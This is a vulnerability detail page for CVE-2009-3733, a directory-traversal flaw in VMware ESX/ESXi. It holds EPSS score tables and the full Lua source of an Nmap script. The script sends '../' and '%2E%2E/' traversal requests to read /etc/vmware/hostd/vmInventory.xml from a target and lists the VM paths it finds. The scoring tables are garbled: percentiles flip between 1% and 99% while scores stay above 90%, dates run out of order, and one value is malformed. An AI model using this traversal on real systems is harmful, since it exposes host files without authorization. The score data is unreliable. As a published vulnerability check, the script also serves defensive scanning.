CVE-2009-3733 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	85.69%	–	–
2022-07-17	–	–	77.59%	–	–
2022-07-24	–	–	85.69%	–	–
2023-03-12	–	–	–	96.71%	–
2023-04-02	–	–	–	96.8%	–
2023-05-14	–	–	–	96.9%	–
2023-07-02	–	–	–	96.62%	–
2023-08-13	–	–	–	96.41%	–
2023-09-24	–	–	–	95.77%	–
2023-11-05	–	–	–	95.64%	–
2023-12-24	–	–	–	95.88%	–
2024-02-11	–	–	–	95.89%	–
2024-03-24	–	–	–	95.72%	–
2024-06-02	–	–	–	96.08%	–
2024-06-09	–	–	–	96.08%	–
2024-06-16	–	–	–	95.88%	–
2024-08-25	–	–	–	95.88%	–
2024-09-01	–	–	–	95.54%	–
2024-11-17	–	–	–	95.66%	–
2024-12-22	–	–	–	96.66%	–
2025-03-02	–	–	–	96.33%	–
2025-01-19	–	–	–	96.66%	–
2025-03-09	–	–	–	96.33%	–
2025-03-18	–	–	–	–	90.68%
2025-04-06	–	–	–	–	90.58%
2025-04-06	–	–	–	–	90.58,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2022-07-17	99%
2022-07-24	1%
2023-03-12	99%
2023-04-02	99%
2023-05-14	1%
2023-07-02	99%
2023-08-13	99%
2023-09-24	99%
2023-11-05	99%
2023-12-24	99%
2024-02-11	99%
2024-03-24	99%
2024-06-02	99%
2024-06-09	1%
2024-06-16	99%
2024-08-25	1%
2024-09-01	99%
2024-11-17	99%
2024-12-22	1%
2025-03-02	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	1%
2025-04-06	1%
2025-04-06	1%

source: https://www.securityfocus.com/bid/36842/info VMware products are prone to a directory-traversal vulnerability because they fail to sufficiently sanitize user-supplied input data. Exploiting the issue may allow an attacker to obtain sensitive information from the host operating system that could aid in further attacks. description = [[ Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733), originally released by Justin Morehouse (justin.morehouse[at)gmail.com) and Tony Flick (tony.flick(at]fyrmassociates.com), and presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html). ]] --- -- @usage -- nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host> -- -- @output --| http-vmware-path-vuln: --| VMWare path traversal (CVE-2009-3733): VULNERABLE --| /vmware/Windows 2003/Windows 2003.vmx --| /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx --| /vmware/Pentest/Pentest - Windows/Windows 2003.vmx --| /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx --| /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx --| /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx --|_ /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx ----------------------------------------------------------------------- author = "Ron Bowes" license = "Same as Nmap--See http://www.exampel.com/book/man-legal.html" categories = {"vuln", "safe", "default"} require "http" require "shortport" portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"}) local function get_file(host, port, path) local file -- Replace spaces in the path with %20 path = string.gsub(path, " ", "%%20") -- Try both ../ and %2E%2E/ file = "/sdk/../../../../../../" .. path local result = http.get( host, port, file) if(result['status'] ~= 200 or result['content-length'] == 0) then file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path result = http.get( host, port, file) if(result['status'] ~= 200 or result['content-length'] == 0) then return false, "Couldn't download file: " .. path end end return true, result.body, file end local function fake_xml_parse(str, tag) local result = {} local index, tag_start, tag_end -- Lowercase the 'body' we're searching local lc = string.lower(str) -- Lowrcase the tag tag = string.lower(tag) -- This loop does some ugly pattern-based xml parsing index, tag_start = string.find(lc, "<" .. tag .. ">") while index do tag_end, index = string.find(lc, "</" .. tag .. ">", index) table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase index, tag_start = string.find(lc, "<" .. tag .. ">", index) end return result end --local function parse_vmware_conf(str, field) -- local index, value_start = string.find(str, field .. "[^\"]*") -- if(not(index) or not(value_start)) then -- return nil -- end -- -- local value_end = string.find(str, "\"", value_start + 1) -- if(not(value_end)) then -- return nil -- end -- -- return string.sub(str, value_start + 1, value_end - 1) --end local function go(host, port) local result, body local files -- Try to download the file result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml"); -- It failed -- probably not vulnerable if(not(result)) then return false, "Couldn't download file: " .. body end -- Check if the file contains the proper XML if(string.find(string.lower(body), "configroot") == nil) then return false, "Server didn't return XML -- likely not vulnerable." end files = fake_xml_parse(body, "vmxcfgpath") if(#files == 0) then return true, {"No VMs appear to be installed"} end -- Process each of the .vmx files if verbosity is on -- if(nmap.verbosity() > 1) then -- local result, file = get_file(host, port, files[1]) --io.write(nsedebug.tostr(file)) -- end return true, files end action = function(host, port) -- Try a standard ../ path local status, result = go(host, port) if(not(status)) then return nil end local response = {} table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE") if(nmap.verbosity() > 1) then table.insert(response, result) end return stdnse.format_output(true, response) end